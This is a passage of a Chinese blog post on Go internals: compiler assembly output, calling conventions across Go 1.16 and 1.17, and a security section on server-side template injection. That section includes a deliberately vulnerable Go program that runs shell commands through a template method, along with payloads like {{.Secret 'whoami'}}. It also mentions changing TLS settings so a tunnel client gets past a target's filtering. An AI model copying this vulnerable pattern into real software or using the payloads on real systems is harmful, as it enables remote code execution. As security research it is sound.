GOOS=linux GOARCH=amd64 go tool compile -N -l -S main.go #打印针对特定系统和CPU架构的汇编代码
下图所示中,"".EmptyFunc(SB)表示了一个函数的起始点,指明了函数EmptyFunc的起始地址,也就是函数的标签。这个标签是由函数的名称(EmptyFunc)和SB(Static Base)组成的:
- EmptyFunc:这是函数的名称。
- SB:Static Base的缩写,表示这是一个静态基址。在Go的汇编中,SB表示的是全局静态数据的起始地址。
ABIInternal 表示函数使用 Go 内部的 ABI(Application Binary Interface),而不是与操作系统的 ABI 交互。(Go函数的调用约定和数据布局是根据 Go 的规范定义的,而不是根据底层操作系统的规范)。
$0-0 表示该函数没有参数和返回值。第一个数字(0)表示传入参数的大小,第二个数字(0)表示返回值的大小。因为函数没有参数或返回值,所以它们的大小都是零。
汇编代码主要分为两个部分,第一个部分是EmptyFunc()函数,第二个部分是main()函数:
EmptyFunc()函数汇编代码:包含一条RET指令,意味着函数调用结束后会直接返回。main()函数:
- 首先是栈检查部分:访问线程本地存储(TLS)并进行栈边界检查。
MOVQ (TLS), CX:这条指令将线程本地存储中的值加载到 CX 寄存器中。TLS 包含线程特定的数据,因此这个指令用于访问当前线程的 TLS 区域。CMPQ SP, 16(CX):这条指令将栈指针 SP 和 CX 寄存器中的值进行比较,其中 CX 中的值通常是 TLS 区域的起始地址。在这里,16(CX) 是相对于 CX 寄存器的偏移量,用于访问 TLS 区域中的某个特定值,这个值通常是栈的边界。通过将栈指针与 TLS 区域中的栈边界进行比较,可以进行栈边界检查,以确保栈的使用不会超出 TLS 区域的范围。
- JLS指令用于判断栈是否不足,如果是则跳转到46行。
- 如果栈空间足够,执行下面的指令:
- 使用SUBQ指令减少栈的大小,为局部变量预留空间。
- 将当前BP寄存器的值保存到栈上。
- 使用LEAQ指令更新BP寄存器的值,指向新的栈帧。
- 调用EmptyFunc函数:使用CALL指令调用EmptyFunc函数。
- 返回和栈恢复:
- 将栈上保存的BP寄存器的值恢复到BP寄存器中。
- 通过ADDQ指令恢复栈的大小。
- RET指令用于函数返回。
- 在栈空间不足时,调用
runtime.morestack_noctxt函数扩展栈,并通过JMP指令重新执行main函数。

而go tool objdump命令将目标文件或二进制文件反编译出汇编,常用的命令参数:
-S:打印汇编代码
-s:根据指定的正则,打印相关的汇编代码
go tool compile -N -l funcconst.go # 生成funcconst.o
go tool objdump funcconst.o # 打印汇编代码
go tool objdump -s "main.(main|FuncConst)" funcconst # objdump打印特定汇编代码
使用objdump打印目标定函数的汇编代码:

优化#
为保证程序执行的高效性和安全性,Go编译器默认会做内联优化、删除无效代码等操作,可以在不引入额外的代码复杂性的情况下,显著提高程序的性能,并在某些情况下产生非常明显的性能改进。但在分析场景中,常所需要的是未做优化编译生成的二进制,否则反编译二进制程序出的汇编代码会有差异。
#编译器自动优化
go build -o empty_optimize empty.go
go tool objdump empty_optimize
#禁止编译器优化
go build -gcflags "-N -l" -o empty_no_optimize empty.go #禁止内联优化
go tool objdump empty_no_optimize
下图就是一个编译优化的对比图,很清楚可以看到优化后的汇编代码简洁很多:

函数#
在Go中,函数“一等公民”类型,可以把函数当作值来使用。 一个函数类型的字面表示形式由一个func关键字和一个函数签名字面表示表示形式组成,一个函数签名由一个输入参数类型列表和一个输出结果类型列表组成。
调用栈#
栈是一种数据结构,从高地址到低地址扩展,栈的作用就是保存函数局部变量、调用函数时传递参数、保存函数返回地址。栈是以先进后出的原则进行存取数据。
栈帧是一种技术手段,通常是使用EBP(栈帧指针)寄存器访问栈内局部变量、参数、函数返回地址等的手段。
下图是 internal architecture of delve 文章中的一个调用栈图:

- 程序执行的时候,分配了栈的空间。通过调用
runtime.main开始启动Goroutine,实线部分表示已经使用了的内存空间,虚线的表示为后续使用的内存空间 runtime.main通过将返回地址压栈来调用main.mainmain.main将它的局部变量压入栈中- 当
main.main调用其他函数时,比如叫main.f函数,做了两步:一是将main.f函数的参数压栈;二是将返回地址压栈 - 最后
main.f将它的局部变量压栈
如果在一个函数中调用另一个函数,编译器就会对应生成一条
call指令,程序执行到这条指令时,就会跳转到被调用函数入口地址处开始执行;而每个函数汇编指令最后都有一条ret指令,负责在函数调用完成后回到调用处继续执行。
调用约定#
Go语言的调用约定主要由目标操作系统的ABI(Application Binary Interface)规范决定。在大多数情况下,Go语言使用的调用约定与目标操作系统的默认ABI相匹配,主要目的是确保不同模块之间的函数调用可以正确地进行参数传递、返回值获取,并且能够与目标操作系统的ABI规范相匹配,以便正确地与操作系统原生代码和库进行交互。
一般地,Go语言的调用约定包括以下几个方面:
- 参数传递方式: 参数的传递方式包括寄存器传递和栈传递。在调用约定中,规定了哪些参数使用寄存器传递,哪些使用栈传递。通常情况下,一些简单的数据类型和参数数量较少的函数会使用寄存器传递,而复杂的数据类型和参数较多的函数会使用栈传递。
- 返回值传递方式: 返回值的传递方式也与参数类似,可以通过寄存器传递,也可以通过栈传递。对于多返回值的情况,可能会使用寄存器传递多个返回值。
- 调用者/被调用者保存寄存器: 调用约定规定了哪些寄存器由调用者负责保存和恢复,哪些寄存器由被调用者负责保存和恢复。一般而言,一些通用寄存器由调用者保存和恢复,而一些特定的寄存器可能由被调用者保存和恢复。
- 栈帧布局: 调用约定还规定了函数栈帧的布局,包括局部变量、参数、返回地址等在栈上的布局方式。
- 异常处理: 调用约定可能还包括了异常处理机制,如何在函数调用过程中处理异常情况。
参数和返回值#
在测试环境为go version go1.16.10 linux/amd64的平台中,创建一个简单函数调用的代码,并使用go build -gcflags "-N -l" -o empty_no_optimize empty.go:
package main
func EmptyFunc() {}
func main() {
EmptyFunc()
}

对生成的二进制程序empty_no_optimize进行go tool objdump empty_no_optimize操作,得到EmptyFunc和main函数的汇编代码:
TEXT main.EmptyFunc(SB) /home/kali/Desktop/demo/empty.go
empty.go:3 0x45ec60 c3 RET
TEXT main.main(SB) /home/kali/Desktop/demo/empty.go
empty.go:5 0x45ec80 64488b0c25f8ffffff MOVQ FS:0xfffffff8, CX
empty.go:5 0x45ec89 483b6110 CMPQ 0x10(CX), SP
empty.go:5 0x45ec8d 761f JBE 0x45ecae
empty.go:5 0x45ec8f 4883ec08 SUBQ $0x8, SP
empty.go:5 0x45ec93 48892c24 MOVQ BP, 0(SP)
empty.go:5 0x45ec97 488d2c24 LEAQ 0(SP), BP
empty.go:7 0x45ec9b 0f1f440000 NOPL 0(AX)(AX*1)
empty.go:7 0x45eca0 e8bbffffff CALL main.EmptyFunc(SB)
empty.go:8 0x45eca5 488b2c24 MOVQ 0(SP), BP
empty.go:8 0x45eca9 4883c408 ADDQ $0x8, SP
empty.go:8 0x45ecad c3 RET
empty.go:5 0x45ecae e8adafffff CALL runtime.morestack_noctxt(SB)
empty.go:5 0x45ecb3 ebcb JMP main.main(SB)
将调用的函数加上返回值,创建函数为FuncConst并调用:
package main
func FuncConst() int { return 123 }
func main() {
FuncConst()
}
使用go build -gcflags "-N -l" -o funcconst funcconst.go 编译二进制程序后,go tool objdump -S funcconst查看汇编代码:

比较有无返回值时候,生成的汇编代码差异:

左右两边的汇编代码有差异性,但是不太大,左边的FuncConst()函数汇编代码多了:
0x45ec60 48c744240800000000 MOVQ $0x0, 0x8(SP)
0x45ec69 48c74424087b000000 MOVQ $0x7b, 0x8(SP)
从多出的汇编指令可以看出,Go1.16的返回值是通过内存空间中的栈传递的,并非像x86-64的调用约定那样使用寄存器传值。
那Golang是如何传输简单的参数的,如整形数据?
package main
func FuncAdd(x, y, z int) int {
return x + y - z
}
func main() {
FuncAdd(1,2, 3)
}

可以看出Go1.16的参数是通过栈进行传递,而不是用寄存器传递。
寄存器传值#
Go1.17版本开始使用寄存器来代替栈,用于传递函数的参数和返回值。
将下列示例代码在go1.17.3 linux/amd64的环境下编译,并使用./go1.17.3 tool objdump funcadd命令打印汇编代码, 发现FuncAdd()函数使用AX、BX、CX寄存器传递:
package main
func FuncAdd(x, y, z int) int {
return x + y - z
}
func main() {
FuncAdd(1, 2, 3)
}

继续使用新的样例代码,查看不同的Go版本(Go1.16和Go1.17)的汇编代码(go tool compile -S -N -l add.go):
//add.go
package main
func addTwo(a, b int) int{
return a+b
}
func main(){
test := addTwo(2,3)
print(test)
}
下图的左边是Golang1.17版本,在调用addTwo()函数前,使用了寄存器AX和BX传参数值,而右边的Go1.16是使用的栈进行传参数值:

https://go.dev/blog/go1.18beta1 指出Go1.17新加入了基于寄存器的调用约定,用于加速 x86-64 系统上的Go代码运行效率,Go1.18beta版本将这个特性扩展到了 AMR64 和 PPC64 上。
那是不是Golang1.17就不通过栈传参,只通过寄存器传参呢?
此时编写一个简单的加法函数代码——12个整型数相加,并使用go tool compile -S -N -l func_Add_many.go 将代码进行汇编代码转换:
package main
func main() {
println(Add12(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12))
}
func Add12(a, b, c, d, e, f, g, h, i, j, k, l int) int{
return a + e + i + b + f + j + c + g + k + d + h + l
}

可见上图中的Go1.16.10版本使用栈传参,而go1.17.3版本用了寄存器和栈传参。可见,在go1.17.3中,前9个参数依次使用AX、BX、CX、DI、SI、R8、R9、R10、R11这9个通用寄存器进行传递,其他的参数按顺序放在栈上。
安全#
SSTI#
Go语言内置了 text/template 和 html/template两个模板库,专门用于处理html模板。html/template 在 text/template 模板库的基础上增加了自动转义机制,对html输出的安全处理,从而防止恶意代码注入。
基本使用
创建两个文件,一个为hello.html,一个为main.go,使用模板包处理渲染HTML。html文件中使用了template的语法{{.}},然后通过go的template引擎进行解析,替换成对应的内容——Hello World,所以浏览器渲染的是Hello World :

在template中,点.代表当前作用域的当前对象。 上述中,hello.html中的 {{.}}点是顶级作用域范围内的,代表Execute(w,"Hello World")的第二个参数Hello World,即它代表这个字符串对象。
如果修改代码,加入一个User结构体,执行t.Execute(w, &u1):就会解析到u1 对象,即打印u1对象的所有值 {0 test@test.com test123}。如果html中的代码 {{ . }}修改为{{.Password}} 就会等同于执行了t.Execute(w, &u1.Password) ,浏览器上的HTML就会解析、渲染Password的值——test123 。如果如果html中的代码{{ . }}修改为{{.Pa}}:,那么就没有正确的值可以访问,浏览器上对应的地方就会出现空白,没有任何相关输出。
package main
import (
"html/template"
"net/http"
)
type User struct {
ID int
Email string
Password string
}
func tmpl(w http.ResponseWriter, r *http.Request) {
var u1 = &User{0, "test@test.com", "test123"}
t, err := template.ParseFiles("hello.html")
if err != nil {
panic(err)
}
t.Execute(w, &u1)
}
func main() {
server := http.Server{
Addr: ":8080",
}
http.HandleFunc("/", tmpl)
server.ListenAndServe()
}

用Golang的模版编写有SSTI缺陷的代码,不仅仅可以做到获取敏感信息,还可以实现RCE。下面代码就存在SSTI的缺陷:
package main
import (
"bufio"
"html/template"
"log"
"os"
"os/exec"
)
type Person string
func (p Person) Secret(test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
func (p Person) Label(test string) string {
return "This is " + string(test)
}
func main() {
reader := bufio.NewReader(os.Stdin)
text, _ := reader.ReadString('\n')
tmpl, err := template.New("").Parse(text)
if err != nil {
log.Fatalf("Parse: %v", err)
}
tmpl.Execute(os.Stdin, Person("Golang SSTI"))
}
根据代码{{.}}、 {{.Label "GoGoGolang"}} 、 {{.Secret "whoami"}} 、{{"whoami" | .Secret}} 会调用Person结构体的方法,从而执行定义的方法:

一般地,如果调用对象的方法本身不存在命令执行,那很大可能不会造成RCE,除非有其它的一些特殊函数执行。而上述POC代码中触发恶意行为的关键就是Secret()方法,本质上就是方法中调用了命令执行的代码:
func (p Person) Secret(test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

其它#
503 Service Unavailable#
在写reGeorgGo的时候,使用vulhub上的一个靶机作为测试站点,遇到一个问题——Go编写的客户端程序发出的正常数据包请求测试站点,会返回"503 Service Unavailable"。且经过Python、Curl等多方向测试,均可访问,但唯独Go编写的客户端程序无法返回"200"的HTTP状态码。
原因: 经多方查阅资料,发现有可能是以下原因导致:
- 未做HTTP客户端的 TLS 版本 设置导致
- 和 Chiper Suite 有关系,Go 在 TLS 1.2 的 Chiper Suite 里加入了三个 TLS 1.3 专属的
Suite,分别是TLS_AES_128_GCM_SHA256,TLS_CHACHA20_POLY1305_SHA256,TLS_AES_256_GCM_SHA384,Go HTTP Client 所使用的默认 TLS Cipher Suites,由于特征太过明显,被测试站点检测到,对Go Client 进行数据包的拦截。
解决办法: 指定了其Transport字段,其中的TLSClientConfig字段设置了TLS配置,即可正常访问测试环境的站点:
myClient := &http.Client{
Transport: &http.Transport{
TLSClientConfig: &tls.Config{
MaxVersion: tls.VersionTLS12,
},
},
}
request, err := http.NewRequest("GET", "https://www.xx/", nil)
References#
- https://github.com/chai2010/go-ast-book
- https://tai-e.pascal-lab.net/
- https://www.anquanke.com/post/id/215419
- https://gfw.go101.org/article/function.html
- https://www.cnxct.com/why-golang-elf-binary-file-is-large-than-c/
- http://www.blackstormsecurity.com/docs/BHACK_2021_ALEXANDREBORGES.pdf
- https://go.dev/blog/go1.18beta1
- https://speakerdeck.com/aarzilli/internal-architecture-of-delve?slide=6
- https://mp.weixin.qq.com/s/iFYkcLbNK5pOA37N7ToJ5Q
- https://go.cyub.vip/analysis-tools/go-buildin-tools.html#go-tool-compile
- https://stackoverflow.com/questions/23789951/easy-to-read-golang-assembly-output
- https://segmentfault.com/a/1190000039753236
- https://dr-knz.net/go-calling-convention-x86-64.html
- https://mp.weixin.qq.com/s/mmB45mFfU0IHMEqyuQwIwQ
- https://www.mandiant.com/resources/blog/golang-internals-symbol-recovery
- https://www.bookstack.cn/read/qcrao-Go-Questions/map-%E5%A6%82%E4%BD%95%E5%AE%9E%E7%8E%B0%E4%B8%A4%E7%A7%8D%20get%20%E6%93%8D%E4%BD%9C.md
- https://juejin.cn/post/6844903965541285896
- https://sourcegraph.com/github.com/golang/go/-/blob/src/runtime/runtime2.go
- https://www.onsecurity.io/blog/go-ssti-method-research/


